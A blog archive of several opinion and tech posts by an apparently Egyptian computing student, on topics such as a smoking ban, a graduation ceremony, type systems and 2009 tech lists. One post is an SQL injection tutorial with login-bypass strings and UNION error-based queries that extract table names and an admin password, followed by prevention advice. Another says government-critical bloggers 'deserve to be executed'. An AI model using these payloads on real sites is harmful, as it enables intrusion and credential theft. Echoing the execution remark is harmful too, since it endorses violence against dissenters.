Smoke-Free Alexandria: The Worst Business Decision Ever?

A man sat in the smoking room of one airport to have a cigarette before boarding his plane, on his way out, another man approaches him:

  • Man: How many cigarettes do you smoke a day?
  • Smoker: Do you smoke?
  • Man: No.
  • Smoker: Do you own this plane?
  • Man: No.
  • Smoker: Then why do you ask?
  • Man: Well, if you had saved all the money you spent on smoking, that plane on the runway could have been yours.
  • Man: Thanks for the advice. I smoke and I OWN this plane. My name is Richard Branson (owner of the Virgin brand).

Those who know me know that I rarely criticize the decisions of our decision makers. However, when a decision maker comes up with something that would hurt our already unstable economy, I’m more than willing to make an exception.

A little over a month ago, Adel Labib, the governor of Alexandria, started some sort of a campaign to free Alexandria from the ill effects of smoking. To achieve that goal, two major decisions were made:

  1. Banning smoking in closed public places, including but limited to public transportation, restaurants, and coffee shops.
  2. Banning “Shisha” from ALL coffee shops in Alexandria.

Now in theory, that may sound like a good thing. I mean, smoking, with all its shapes and forms, is deadly harmful for health, not only for the smoker but also for everyone around him/her– the second-hand smokers. Europe understood that and banned smoking in public places long ago. Us catching up now cannot be a bad thing, right?

Before answering let’s take some facts into consideration; in Egypt, cigarettes are not a luxury, but rather a primary commodity– for reasons we all know. I don’t have the exact numbers but a huge percentage of Egyptians, probably even more than half, are smokers, and most of them fall in the 18-40 years age group. Such group tends to meet outdoors and usually end up sitting on some sort of a coffee shops, where they will eventually have a smoke, either shisha or cigarettes, with their drinks.

This guy, along with thousands just like him, is or will be out of work

Let’s be realistic here, most of the coffee shops regulars go there for the smokes. I mean let’s face it; you can drink almost anything at home except shisha. So if you ban the shisha from every coffee shop in Alexandria, and force people to sit outside if they smoke cigarettes, the number of customers will inevitably decrease, especially in winter, where the Alexandria’s weather will make it impossible for smokers to sit outside. That decrease will cause significant losses for the coffee shops owners, eventually leading most of them to close their businesses, which will have two devastating effects. First, a massive damage will be done to the Alexandrian economy, as its primary source of income is the tourists, who consider having that perfect shisha in front of the amazing night sea a main part of their yearly visit. Second, closing those coffee shops will force the release of their workers, who are usually either young newly graduated guys who couldn’t find a decent job, or older ones that work there as a second job to get by.

Now, let’s assume that public ban of shisha from Alexandria is the first step towards its public use ban in all of Egypt. If that happen, many of the factories manufacturing the shisha- yes, they are manufactured in factories, did you think they grow on trees?- will be closed, also leading to the release of their workers, and this time we are not talking about a dozen of guys, but hundreds of workers living below poverty line and mostly supporting big families. Putting them out of work is just not right.

Do not get me wrong, it is not like I am supporting or encouraging smoking in any way. I just believe that there are smarter, less damaging ways to reduce the ill effects of smoking in Egypt. I was actually delighted when the tax rate on smokes’ sales was increased. That was a smart way to reduce the number of smokers– as not everyone, especially the light smokers, was willing to pay the extra money. In addition to that, the government can enforce strict laws to prevent the sale of smokes to kids younger than 18 years, make clever ad campaigns, ban smoking in the media, and so on.

Yes, smoking is bad for both our health and for the environment. But, unemployment and starving to death is much, much worse.

So, what do you think? Is the Alexandria smoking ban- and eventually moving on to every major city of Egypt- harms more than it helps, or is it a necessary evil?

Your comments are much appreciated.

Share

Advertisements

MUFIC Batch #6 Graduation Ceremony: A Mediocre End to an Epic Era

  • Date: Thursday October 14th, 2010.
  • Time: 10:00 AM.
  • Location: Menoufia University Ceremonies Hall, the one where President Hosni Mubarak announced the amendment of Article 76 of the Egyptian constitution in 2005 itself!
  • Event: Faculty of Computers and Information batch #6 graduation ceremony.

You would know it a mile away, the guys were overdressed, the girls were overusing and abusing makeup to the point that it becomes a hard task not to throw up whatever you had for breakfast, and everyone was seen wearing ugly red and blue coats similar to the uniform of the French Campaign army that invaded Egypt in 1798. It was THE annual graduation ceremony of the Menoufia University’s Faculty of Computers and Information students.

Now that's what I DON'T call fashion!

Now, our faculty is famous for two things regarding its graduation ceremonies: first, it is the only faculty in Menoufia University that organizes a separate ceremony for its alumni. Second, these ceremonies are guaranteed to be the worst 2-3 hours of your life! They almost always suffer from chaotic floor organization, feeble speeches, and horrendous acts performed by our so-called theatrical team. That year was no exception, although I have to admit that it was slightly better than last year’s nightmare.

The organizers spent over an hour queuing us (graduates) outside the hall so that we can be seated in order, which didn’t happen! I can almost assure you that none other than the people in the first two or three rows where they were supposed to!

The ceremony started with the presence of the faculty dean and vice dean, I could not help but notice a big sign in the background saying that the ceremony is sponsored by the Menoufia University president, who was NOT present, nor any official representative of him or the university administration!

Things kicked off with a speech by our ranked-1 student Ibrahim Abdullah, which felt more like hearing someone read the phonebook rather than a speech. I have absolutely nothing against Ibrahim, he is one of the politest, kindest people you will ever meet, but he was reading his speech with absolutely no heart or enthusiasm, making it so obvious that he was given that speech to read, and maybe even given it an hour or so before the ceremony!

Next were the speeches of the dean and vice dean, which were, least to say, forgettable. At an event like this, you expect the speeches of the big guys to be… big! You know, to give you a sense of achievement, make you feel how well you did, and inspire you to take your next step. And that simply did not happen.

The speeches were followed by honouring the top ranked students and then calling out everyone else to get their certificates. At that moment I was confused; you see, the reason any graduate of Menoufia’s Faculty of Computer and Information sits through the 2-3 hours of hell, also known as the graduation ceremony, is getting their certificate and taking a picture with the honourable dean so that they may print, enlarge, frame, and hang it out on the wall so that they may tease the neighbours coming to say congratulations whose kids are majoring in Arabic at the Faculty of Arts or something. So if they get them their moment then, what would make them sit through the not-so-jolly rest of the ceremony? Then I realized it, a four-letter word; FOOD! The “benefits” we get in exchange for the ceremony fees- yes, we pay to attend our own graduation ceremony- included a lunch meal, and sure as hell no one would go home without having their lunch. Yes, ladies and gentlemen, we are a nation motivated by our lust for food, not scientific degrees or even the desire to brag about them!

The ceremony resumed, and as soon as I saw the faculty’s own theatrical team on stage, I knew that the nightmare would truly begin; unfunny people trying- so hard- to be funny by doing acts that are NOT funny. This year though, it was not that bad, as matter of fact, the three acts they gave were surprisingly really good, funny, and well performed. The reason behind that was the fact that the acts were COPIED from a great but not so famous play called Qahwa Sada (Black Coffee). I had absolutely no problem with re-doing parts of good plays, what I had a problem with, however, is exploiting the obscurity of the play and take credit for the acts by NOT mentioning that they were from another play.

Other segments of the ceremony included a forgettable poem, some religious song, and a song by a kid who can play the violin well, but trying to be the next Tamer Hosny, enough said!

What really caught my attention was a poem given by one of our students called Hagar, who is famous for being one of the faculty’s political activists and a fierce attacker of our government. As expected, the poem contained implicit and explicit attacks directed at the government. I could not believe that someone gave her the green light to read such a poem in the biggest faculty event of the year. Someone must have definitely been on crack, and a good kind as well.

All in all, it was not horrible. I actually quite enjoyed it. It was not great, but definitely better than last year’s chaos. It was nice having all the students of batch #6 under one roof for the last time.

And, to my dear fellow graduates, congratulation on the big achievement. It has been an epic four-year era, but we are finally done. The rest of our lives begin now, make sure you make the best of it.

Cheers.

Cartoon – Traditional Exams Vs. FCI Exams!

Well, since I have been through a “painful” midterms season for a while, I was inspired to do a little cartoon that points out the difference between the type of questions in our (Faculty of Computers and Information) exams and everyone else’s. So, here goes. Hope you like it:

:)

Shofha: The Next Big Thing or a Big Disappointment?

Go to Shofha.com

Earlier in February, LINKonLINE, a subsidiary of LINKdotNET and a major online services provider in the Middle East, launched Shofha.com; the first legal service of its kind in the Middle East to buy, rent, and watch Arabic movies instantly from anywhere in the world, you can say it is the Middle Eastern version of Netflix and Hulu. Before Shofha; you had two options if you wanted to watch an Arabic movie on your computer; you either buy the DVD, which is sometimes ridiculously expensive, or you simply download a pirated version of the movie from any of the massive number of Arabic forums that exist only for this purpose, completely free. Of course, people download the pirated versions, even though most of the times the movies’ quality is very poor. What Shofha did is providing a legal, high quality, Silverlight smooth streaming option for a very low price, 12 LE to buy, 8 LE to watch, and 6 LE to rent to a movie. You even get a 50% discount if you are a LINKdotNET ADSL subscriber. According to Shofha manager Mostafa Kamel, streaming on Shofha works well on 512k ADSL, great on 1MB, and perfect on 2MB and higher. He also said that downloading a full movie takes 2 hours on 1MB ADSL and described Shofha as “one of the greatest leaps in the history of Arabic internet”.

Now, let’s not go overboard here, people have been downloading pirated movies for years. The fact that they are of poor quality is a little price to pay for not actually paying to see the movies. When you come now and tell them, hey, you are gonna have high quality movies, but you will pay for it because it’s legal. How many of them will choose the legal option? The fact that it is relatively cheap is irrelevant; the vast majority of people will still choose the illegal option, simply because in the Middle East- and probably the whole world- free is always better than little money! Also, the only bad thing about pirated movies- besides being illegal, which is not that big of a problem here!- is their poor quality. With the availability of a high quality option, what guarantees that some guy will not find some way to actually use Shofha to provide high quality pirated movies for free online? The fact that it uses Silverlight instead of Flash will not prevent that for long, someone always finds a way. Should that happen, not only will Shofha fail in solving the piracy problem, but also contribute to its severity.

Share

Programming Type Systems

If you are a programmer who has worked with multiple programming languages, you must have noticed that while some languages, such as Java and C++, use almost similar methods to define their data types, while others, such as Python and Matlab, use completely different methods. This is because those two groups of languages use different type systems.

A type system is defined as tractable syntactic framework for classifying phrases according to the kinds of values they compute. It associates types with each computed value, and, by examining the flow of these values, attempts to prove that no type errors can occur. A type system generally seeks to guarantee that operations expecting a certain kind of value are not used with values for which that operation makes no sense.

Ok, in simpler words, a type system is a way for programming languages to classify values and expressions into types, how it can manipulate those types, and how they interact. Or, in even simpler terms, how data types are assigned to variables, and how they are handled. There are four type systems that programming languages can adopt. ANY programming language you know or have worked with, except two languages, belongs to at least two of the following categories:

Statistically-typed languages: languages in which data types are fixed at compile time, in other words, type checking (verification) is done when the code is compiled. Languages that use static typing include C++, Java, C#, and F#. These languages enforce this by requiring the programmer to explicitly declare all variables with their data types before use. An example of this is the floating point variables declaration in Java:

float f = 1.0f;

Static typing allows data type errors to be caught earlier in the development cycle. Besides verifying data types, static type checkers verify that the checked conditions hold for all possible executions of the program, which eliminates the need to repeat type checks every time the program is executed. Program execution may also be made more efficient by omitting runtime type checks. However, static typing can sometimes reduce code flexibility.

Dynamically-typed languages: languages in which the majority of its type checking is performed at run-time instead of checking at compile-time. Languages that use dynamic typing include JavaScript, PHP, Python, and Tcl. In dynamic typing, the values have types, not the variables; that is, a variable can refer to a value of any type. An example of this in Python:

x = 1
print x
x = "Hello, world!"
print x

This code would produce no errors and print “1” and “Hello, world!” By allowing programs to generate types and functionality based on run-time data, dynamic typing can be more flexible than static typing. However, dynamic typing may result in runtime type errors; at runtime, a value may have an unexpected type, and an operation nonsensical for that type is applied. Also, this operation could occur long after the place where the wrong type of data passed into a place it should not have, which makes the bug difficult to locate.

One thing to notice is that a dynamically-typed language is not necessarily a dynamic language. The term dynamic language means something different, but more on that later. (In a separate post, maybe? ;))

Strongly-typed languages: languages in which data types are always enforced. A data type cannot be treated like another unless it is explicitly converted. Strongly typed languages, such as C, Java, Pascal, and Python specify severe restrictions on how operations involving values having different data types can be intermixed, preventing the compiling or running of source code which uses data in what is considered to be an invalid way, e.g. the division of an inter over a string. To ensure they achieve their purpose, strongly-typed languages apply some or all of the following constraints:

  • The compiler must ensure that operations occur only on operand types that are valid for the operation.
  • An error must occurs as soon as a type-matching failure happens at runtime, or, as a special case of that with even stronger constraints, type-matching failures must never happen at runtime
  • Omitting implicit type conversions- conversions that are inserted by the compiler on the programmer’s behalf.
  • The type of a given data object does not vary over that object’s lifetime.
  • Type conversions are allowed only when an explicit notation, often called a cast, is used to indicate the desire of converting one type to another.
  • Disallowing any kind of type conversion. Values of one type cannot be converted to another type, explicitly or implicitly.

For example, an attempt to add an integer and a string in Python:

x = 1
y = "Hello, world!"
print x + y

will produce the error:

TypeError: unsupported operand type(s) for +: ‘int’ and ‘str’

Weakly-typed languages: languages in which types may be ignore. Weakly-typed languages support either implicit type conversion, ad-hoc polymorphism (overloading) or both. For example, adding an integer and a string in Matlab:

x = 1;
y = 'Hello, world!';
z = x + y

will not produce any error, actually it will produce the result:

z =    73   102   109   109   112    45    33   120   112   115   109   101    34

One last thing I want to talk about is type safety. Type safety can be defined as the use of a type system to prevent certain erroneous or undesirable program behaviour. This can be achieved statically, by catching potential errors at compile time, or dynamically, by associating type information with values at run time and consulting them as needed to detect imminent errors, or using combination of both. A programming language is called “type-safe” if it does not allow operations or conversions that lead to erroneous conditions, such as the previous Python example.

Remember when I said at the beginning of this post that all programming languages, adopt at least two of the four typing schemes, except two languages? Those two languages are the Assembly Language and Forth. Those two languages have been said to be untyped. There is no type checking. It is up to the programmer to ensure that data given to functions is of the appropriate type. Any type conversion required is explicit.

Share

Things That Not All Programmers Know #3: SQL Injection

Despite the fact that this a relatively old, and very famous security attack, many people I know do not know SQL injection or how it is performed. In this post, I am going to give a little introduction to SQL injection, some examples of how it is done and how to prevent it from becoming a threat to your Web site.

SQL injection- also known as SQL insertion- is a form of attack on a database-driven Web site, in which the attacker executes unauthorized SQL commands by exploiting a security vulnerability occurring in the database layer. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. This is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

More specifically, SQL injection is a trick to inject a SQL query or command as an input via Web pages that take parameters from Web user, such as a username and a password, and then make SQL query to the database to check the validity of these parameters, which will grant us something else.

It attacks on the web application, such as ASP, JSP, PHP, CGI, itself rather than on the web server or services running in the OS.

Testing the system’s vulnerability:

To successfully perform SQL injection, you have to first test if the system is vulnerable to such attack. You can do that by either looking for the “FORM” tag in the HTML source code of pages that allow you to submit data, such as login forms, where you may find something like this (a parameter that can be exploited):

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“C”>
</FORM>

Or by looking for ASP, JSP, PHP, or CGI Web pages, where the page URL takes parameters, like: http://duck/index.asp?id=10

Either way, you can test by attempting to log in by using the values or changing the URL parameter value to a’ or 1=1–. Example:

Username: a’ or 1=1–
Password: a’ or 1=1–
http://duck/index.asp?id= a’ or 1=1–

<FORM action=“Search”/search.asp method=”POST”>
<input type=”hidden” name=“A” value=“a’ or 1=1--”>
</FORM>

If the system is vulnerable, you will get login without any username or password.

Getting data from the database using error messages:

Error messages produced by Microsoft SQL Server can be exploited in order to get almost any desired data from the database. Take this page for example:

http://duck/index.asp?id=10

To get the name of the first table of the database, we can use the INFORMATION_SCHEMA.TABLES system table. This table contains information of all tables in the server and always exists. The TABLE_NAME field contains the name of each table in the database. So, what we are going to do here is UNION the parameter value ‘10’ with a query to get the first table name in the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.
/index.asp, line 5

The error tells you the value that cannot be converted to int, which in that case is the name of the first table. To get the next table name, you can use this query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

You can also use the LIKE keyword if you are looking for a specific table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

This will result in the following error:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.
/index.asp, line 5

‘%25login%25’ will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, “admin_login”.

Similarly, you can use the same method to obtain all column names from tables using the system table INFORMATION_SCHEMA.COLUMNS. For example, to get the first column name, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Which will produce an error message from which you can get the name of the first column name. You can then use the NOT IN keywords as before to get the following column names.

After identifying the names of the database tables and columns, the same technique can be used again to get any information from the database. For example, assume you want to get the first username from the table “admin_login”, you can use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 username FROM admin_login—

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin’ to a column of data type int.
/index.asp, line 5

So you now know that there is a user with a username of “admin”. To get the password of that username from the database, use the query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where username='admin'--

The following error would result:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘p@ssword’ to a column of data type int.
/index.asp, line 5

Now you can log in to the system using the name “admin” and password “p@ssword”.

Preventing SQL injection:

To protect against SQL injection, two methods can be used, one is called Escaping, which filters out (escapes) character like single quote, double quote, slash, back slash, semi colon, extended characters like NULL, carriage return, new line, etc, in all strings from users’ input, URL parameters, and cookies’ values. For example, every occurrence of a single quote (‘) in a parameter must be replaced by two single quotes (”) to form a valid SQL string literal. This method is error-prone, however, as this is a type of blacklist, which has proved to be much less robust than whitelists. An example of escaping is using the function mysql_real_escape_string before sending the query in  PHP:

$query = sprintf("SELECT * FROM Users where UserName='%s' and Password='%s'"   mysql_real_escape_string($Username),
mysql_real_escape_string($Password));
mysql_query($query);

Another method is to use parameterized statements, which enables users’ input to be initially filtered instead of directly embedding it in the SQL statements. An example of parameterized statements is PerparedStatement in the Java JDBC API:

PreparedStatement prep = conn.prepareStatement("SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

Another things that can be done to avoid SQL injection is to convert numeric values to integers before parsing them into the SQL statement. Or using ISNUMERIC to verify that they are integers.

And that’s it. Hope that was clear and simple enough. Your questions and comments are always welcomed.

Disclaimer: all of the information posted here is gathered from online published materials. None of this is my work and I am absolutely not responsible for any misuse of it. Modify/edit/use it at your own responsibility.

Share

Why Our Football Fans Are More Patriotic Than Our Bloggers

In the past few days, the atmosphere in the Egyptian street and the mood of people has been great. This is due to the victory of our national football team of the Africa Cup of Nations championship for the seventh time and the third time on the row. Celebrations took place in every street of every Egyptian town, people spent all night out cheering and singing patriotic songs with the Egyptian flag in the hands of every man, woman, and child, not because their football team won a competition, but because in that specific moment, they were truly proud to be Egyptians. It was indeed a patriotic utopia, even if it lasted for a few days.

With that image in mind, let’s move into another.

For years now, whenever we hear the two words “Egyptian” and “blogger” in the same sentence, the first things that comes into our minds is someone who writes about politics, more specifically, someone who uses their blog as a launching pad for vicious attacks against every decision of the Egyptian government. Surprisingly, this is not so far off the truth. Do some search online and you will find that for every one non-Egyptian-politics blog, there are at least ten blogs that are criticising the Egyptian government. I absolutely do not have a problem with that. I have always been an advocate of the freedom of speech and have always attacked media censorship. I firmly believe that everyone has the right to express their own opinion freely.

However, the problem is, those bloggers do not do that. Most of the blogs out there, which I am not mentioning as I am not giving them advertising via my blog, are not just an honest expression of opinion; they provide nothing but a clear, blind attack on every decision of the Egyptian government and most of the times on the people in charge themselves. Those bloggers claim that the sole purpose of their blogs is attempting to improve life in their homeland by making the people aware of what their government’s plots against them. They claim that their love and passion of Egypt is the motivation behind their words, and that they do not care if they were imprisoned for it.

If you ask me, they do not deserve to be imprisoned, they deserve to be executed. These blogs do not aim at improving life in Egypt, I once read a post in one of those famous blogs giving tips on how to deceive your boss into believing that you are a hard worker while you actually do not work at all, neither are they all that patriotic. How can one be so patriotic and filled with love for their country when the benefits of “other” countries are far up their priority list than the security of their homeland?

Those bloggers do not care about the Egyptian people or aim at improving the Egyptian life. They have some specific agenda that will only be achieved by poisoning the minds of the simple people into rebelling against the government. So much that smiles on the Egyptian faces and few moments of patriotism send them into a frenzy of anger.

While most of the Egyptians were celebrating their teams victory and living a moment of happiness and patriotism that does not come so often, those people where all over the internet attacking this moment, calling scenes of celebrations aired on the TV words as “disgrace” and calling the great mood their fellow Egyptians were in a “coma”.

So we have two images, one containing people who are proud of every victory belonging to their country, even if little or not so significant, and another containing ones who not only do their best to undermine those victories but also do their best to disrupt order in their country. Which image do you believe contains the ones that truly love their country?

I rest my case.

Share

2009 – A Year In Tech: Worst Tech Products

As we all know, the economic climate in 2009 was a bit shaky. Despite that, it was a great year for technology. However, as there were several winners- hello Microsoft!- there were also losers who, in my opinion, produced products that are not short of a disgrace! Here are the most eminent worst products of the year 2009:

Linux Fedora 12:


Let’s face it, 2009 was all about new operating systems; Apple continued its winning ways with the OS X 10.6 (Snow Leopard), which was described as the most beautiful consumer-oriented OS available anywhere. Microsoft was able to clean up the mess of Vista and made one of the most successful tech launches this decade with the business-saving Windows 7. Linux, on the other hand, had only Fedora 12 to offer, an OS with minimal new features that are not the least bit close to its Apple and Microsoft competitors, and, as a result and as usual, Linux could not grow any kind of market share or consumers support and continued to be nothing but an OS for the open source fanatics.

Wolfram Alpha:


For those of you who do not know what that is, Wolfram Alpha is a search engine developed by Wolfram Research that was released to the public on May last year. Ever since it was announced last March, much hype has gone about it and how it could be the black horse that would give Google and Bing a hard time. Well, it simply wasn’t, isn’t, and won’t be! It cannot be even classified as a search engine! It is an online service that answers queries computing the answer from structured data, rather than providing a list of documents or web pages that might contain the answer as a search engine would. In the end, all it was about was just the hype, with so little importance for just about everyone.

Note: to get an idea of what I am saying, type “Google” in the search field on the Web site.

iCarta iPod Dock:


I really could not believe my eyes when I saw this. An iPod dock with a toilet papers holder? Really? Maybe I am wrong but I do not believe that it is a necessary to listen to music or talk on the phone while you are… “doing it”, what if your precious device falls in the toilet?! Reading the features alone is actually a joke: 4 integrated high performance moisture-free speakers deliver exceptional

clarity and high quality sound! Honestly?! Glad they thought about moisture! This definitely has got to be the most disgusting thing ever created, or at least it comes high in that list.

Google Wave:


And the winner is… Google Wave! When first announced at the Google I/O developer conference in the spring, Google Wave became such a hot topic that made people claim it would replace email. The hype increased even more in the fall when Google’s policy of making the Beta available via invitation-only caused a feeding frenzy on social networks for people begging for Google Wave invitations. Google Wave remained a trending topic on Twitter for more than three months. However, after Google provided more invitations in November, it all went silent; no one talked about Google Wave, no one asked for invitations, and Google Wave stopped being a trending topic on Twitter. The reason behind this is simple; people realized the truth about Google Wave. It does not combine the best of the email and IM worlds, it is not very useful, and it definitely will not replace email. It is just a fancy IM client that is too noisy. And as Robert Scoble predicted, Google Wave did crash hard onto the beach of overhype. And for that, I believe it is the worst tech product of 2009.

Again, let me know your opinions. Of course I am pretty sure many people will not agree with me on Linux Fedora! I just happen to know too many open source enthusiasts! Sorry people, it is the truth, face it!!!

Share

2009 – A Year In Tech: Most Influential Tech People

First, I would like to wish you all a very happy new year and thank you for all the support in the past three months. Instead of posting just another “Things That Not All Programmers Know” post as in the first day of the past two months, I decided to do something different. 2009 was a big and long year in technology, with a number of rises and falls that probably outnumbers those of any previous year. So, throughout the month of January, I am going to write a new series; 2009 – A Year In Tech, where I will make lists of the best (and worst!) everything related to technology in 2009.

This week I am starting with the people! The following is a list of the top 5 people that I believe made the biggest impact in the technology world throughout the course of 2009:

5. Omar Hamoui:

Omar Hamoui is the founder, CEO, and a member of the board of directors of AdMob. AdMob is a mobile advertising marketplace that allows advertisers to connect with mobile publishers and create ads, choose landing pages, and target their ads with plenty of detail. In 2009, Google acquired AdMob for $750 million in stock. Susan Wojcicki, Vice President of Product Management at Google said regarding the acquirement: “AdMob is the quintessential Silicon Valley startup, generating impressive year on year revenue growth, and we’re excited to welcome this talented team to Google”. For an Arab entrepreneur, Omar Hamoui has come a long way, and that is why he is number five on my list.

4. Mark Zuckerberg:

Show me someone who does not know him and I will show you something who does not know what a social network is! Mark is the co-founder and CEO of the very addictive and fastest growing social network on the Web: Facebook. Mark was able to turn Facebook from a Harvard-exclusive meeting space to the most used social network. Facebook currently has over 350 million active users, 70% of which live OUTSIDE of the US, statistics show that half of Facebook users log on to the site at least once on any given day, and spend more than an hour a day on the site. Mark’s policies have been the subject of much controversy this year due to the recent privacy and terms of service changes.

3. Steve Jobs:

Co-founder and CEO of Apple Inc. Despite his health issues that caused him to take a six-month leave of absence, and the following speculations that he may never return to Apple, he returned to make Apple stronger than ever before and enhance its position in the market with a new and improved iPhone, new and fancier iPods, a new lineup of Macintosh computers, including the amazing ultra-thin MacBook Air, and a new iTunes with a much more appealing look. These new products, specially the iPhone 3Gs, which is predicted to sell more than 50 million units, definitely livened up Steve’s career, killing all rumours about the end of his future at Apple.

2. Steve Ballmer:

Steve Ballmer is the CEO of Microsoft Corporation. Because of the several imperfections in Windows Vista, Microsoft had lost the goodwill and confidence of most of its customers and investors. However, all of that changed with the release of the robust Windows 7 in 2009, which included a massive array of new features while being fully compatible with applications and hardware with which Windows Vista was compatible and, at the same time, continuing on the path of the incremental upgrade to the Microsoft Windows line. Ballmer was able to restore the faith of the Microsoft fan base with the new OS, not to mention Bing, the Microsoft search engine that is causing bad dreams for Google!

1. Evan Williams and Biz Stone (Ev and Biz):

Co-founders and CEOs of Twitter; a social network and micro-blogging Web site that enables its users to write updates in up to 140-character statuses. Despite being launched in 2006, Twitter became a wide-ranging media platform for documenting major events in 2009, especially after the crash landing of the US Airway Flight 1549 in the Hudson River, whose very first picture was posted on Twitter. Several celebrities were attracted to Twitter, such as Ashton Kutcher, who challenged CNN to a popularity contest on who to reach 1 million followers first! US president Barrack Obama also used Twitter in his elections campaign and currently as the US president. In short, Ev and Biz are the one behind a social network that achieved a superstar status and got more than 5 million people hooked on in a very short period, and for that, I believe that they were the most influential tech people in 2009.

So, what do you think? Do you think someone there does not deserve their spot? Was there someone left out? Let me know your opinion.

Next: worst tech products of 2009.

Share

The Truth About Lena

If you are a Computer Science student, an Electrical Engineering student, or just someone who works in Image Processing, you must have seen and worked on this picture:

Her name is Lena. But almost everyone who had seen this image knows almost nothing about her other than the fact that the image is a great test image because it contains a nice mixture of detail, flat regions, shading, and texture that do a good job of testing various image processing algorithms, and that she makes gentlemen drool- let’s face it, geeks do not get to see that kind of attractive ladies often- and ladies jealous! But really, who is Lena? And how did she become a standard in the boring field of Image Processing?!!

Her name is Lena Söderberg, a Swedish model born in March 31st, 1951. Lena posed for the November 1972 issue of the Playboy Magazine. The image used nowadays in Image Processing is actually the same image posted in the magazine- cropped, of course.

It was in June or July of 1973 when Alexander Sawchuk, who was then an assistant professor of electrical engineering at the University of Southern California Signal and Image Processing Institute (SIPI), a graduate student, and the SIPI lab manager were searching the lab for a good image to scan for a colleague’s conference paper after they got tired of the usual test images. They wanted some image of a human face that would produce an output with a good dynamic range. It was only then when someone walked in the lab with a recent issue of Playboy. In Lena’s picture, they found exactly what they needed.

The engineers tore away the top third of the centrefold so they could wrap it around the drum of their Muirhead wirephoto scanner, which they had outfitted with three analog-to-digital converters -one for each colour channel- and a Hewlett Packard 2100 minicomputer. The Muirhead had a fixed resolution of 100 lines per inch and the engineers wanted a 512 × 512 image, so they limited the scan to the top 5.12 inches of the picture, effectively cropping it at the Lena’s shoulders. This scan became one of the most used images in computer history, so much that Lena was called the First Lady of the Internet, and was a guest at the 50th annual Conference of the Society for Imaging Science and Technology in 1997. Someone even wrote her a poem:

Sonnet for Lena

O dear Lena, your beauty is so vast
It is hard sometimes to describe it fast.
I thought the entire world I would impress
If only your portrait I could compress.
Alas! First when I tried to use VQ
I found that your cheeks belong to only you.
Your silky hair contains a thousand lines
Hard to match with sums of discrete cosines.
And for your lips, sensual and tactual
Thirteen Crays found not the proper fractal.
And while these setbacks are all quite severe
I might have fixed them with hacks here or there
But when filters took sparkle from your eyes
I said, “Heck with it. I’ll just digitize!”

Now that the truth is out there, I can almost hear the voices of the radical, extremist Muslims calling for the ban of the use this image and probably killing, then dismembering and burning the corpse of our dean for using it in our Computer Vision curriculum! At some point in the near past, there were also voices calling for retiring the Lena image. That’s because publications of the kind of Playboy are degrading to women. Give me a break! This is just pathetic! We are not using the FULL image of Lena- forgive me for not posting it; extreme content- we are only using a cropped image of a nice looking girl that only shows a face and a shoulder. What is female-degrading or anti-Islamic about that? The source of the image? Newsflash, Mr. Extremist; not we, IEEE, nor any other organization that uses the image for any purpose pays a fee for the Playboy organization in exchange for the use of it, Playboy even waved away its copyrights to this specific image. In other words, it belongs to nobody, so we are not sponsoring the work of Satan!

I know that I will be personally criticized and attacked for my opinion, and I do not really care. Bottom line is, Lena’s image is perfect for testing Image Processing techniques, and until the radicals camp blesses us with another image to use that will not send us burning in hell for eternity, I will continue to use it. Even though I am sure that the proposed new image will be something like this! Not much dynamic range there, no?

Share